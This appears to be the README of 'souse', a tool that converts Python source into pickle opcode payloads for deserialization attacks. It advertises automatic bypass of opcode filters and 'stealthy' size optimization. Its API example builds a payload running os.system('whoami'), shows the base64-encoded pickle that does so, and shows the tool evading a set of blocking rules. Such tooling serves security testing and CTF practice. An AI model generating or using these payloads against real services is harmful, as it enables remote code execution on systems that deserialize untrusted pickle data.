souse 5.0.1

A tool for converting Python source code to opcode(pickle)

souse

A tool for converting Python source code to opcode(pickle), source code is payload :)

中文版

1. help

2. Key Features

• 🚀 Intelligent Reconstruction: Automatically reconstructs non-pickleable Python source code into fully compatible opcode sequences. For complex source transforms, use parselmouth before souse.
• ✨ Automated Builtins: Built-in functions like open, eval, and getattr are recognized automatically—no manual import needed.
• 🛡️ Advanced Bypass: Auto bypass complex limitations (R, o, i, ...)
• ⚡ Stealthy Optimization: Automatically optimizes generated opcodes using pickletools for minimal size and maximum stealth.
• 📦 Multi-Functional Transfer: Flexible encoding support (Base64, Hex, URL) and custom transformation sequences.
• 📝 Precise Debugging: Pinpoints errors with full source code context and syntax highlighting.
• 💡 API Support: Convert Python source code to opcode(pickle) via API.

opcode supported list: opcode

3. usage

3.1 CLI

./souse/cases/ has some example codes for souse.py.

3.1.1 case 1

source code:

opcode:

3.1.2 case 2

source code:

opcode:

3.1.3 case 3

You can control the final deserialization result by writing a variable name as the last line of the source code:

c=10
a = {}
a["empty"] = ""
c

3.1.4 case 4

transfer opcode:

supported(You can customize it when calling the API):

• base64_encode
• hex_encode
• url_encode

3.1.5 test code

3.1.6 run tests

python souse/souse.py --run-test

• Requires pytest.

3.2 API

example:

In [1]: import souse

In [2]: exp = "from os import system\nsystem('whoami')"

In [3]: souse.API(exp, optimized=True, transfer=pickle.loads).generate()
macr0phag3
Out[3]: 0

In [4]: import base64

In [5]: souse.API(exp, optimized=True, transfer=base64.b64encode).generate()
Out[5]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [6]: souse.API(exp, optimized=True, transfer=[bytes.decode, str.encode, base64.b64encode]).generate()
Out[6]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [7]: import pickle

In [8]: firewall_rules = {
    ...:     "V": "*",
    ...:     "I01": "*",
    ...:     "I": "100",
    ...:     "R": "*"
    ...: }

In [9]: souse.API(exp, optimized=True, transfer=pickle.loads, firewall_rules=firewall_rules).generate()
[*] choice o to bypass rule: {'R': '*'}
[*] choice S to bypass rule: {'V': '*'}
macr0phag3
Out[9]: 0

4. TODO

• support for nested expressions
• opcode bypass supported
  • auto bypass basic limitation（V、S、I、...）
  • auto bypass complex limitation（R、o、i）
  • auto bypass stb limitation (via setattr)
• Intelligent Import Transformation (Lazy Import)
• Intelligent Attribute Assignment Transformation (By getattr/setattr)
• Converted code output support
• value bypass supported
  • number
• API
• pip install supported
• Contextual source error reporting
• Intelligent Subscript Downgrade (u -> __setitem__)
• Automated Builtin recognition